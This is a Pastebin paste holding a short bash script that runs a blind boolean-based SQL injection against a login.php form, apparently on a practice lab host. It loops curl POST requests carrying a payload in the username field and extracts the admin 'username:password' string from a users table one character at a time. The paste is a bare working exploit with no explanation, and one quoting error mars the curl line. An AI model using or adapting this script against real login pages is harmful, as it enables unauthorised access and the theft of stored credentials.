Advertisement
Guest User

Untitled

a guest
Apr 9th, 2018
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.68 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. for x in {7..40} # password char location in the payload
  4. do
  5. for i in {1..126} #check ASCII code number
  6. do
  7. payload="username=admin' AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),$x,1))>$i -- -&password=test"
  8. curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" -d ''"$payload"' -X POST -H "Content-Type: application/x-www-form-urlencoded" --cookie "PHPSESSID=k2d2o9s39uhurtr7kk11af5ac2' http://10.10.10.73/login.php 2> /dev/null -o file.out
  9.  
  10. cond=`grep admin file.out`
  11. status=$?
  12.  
  13.  
  14. if [ $status != 0 ]
  15.  
  16. then
  17. echo "Digit$x: $i and value ";printf "\x$(printf %x $i)"
  18. printf "\n"
  19. break;
  20. fi
  21.  
  22. done
  23. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement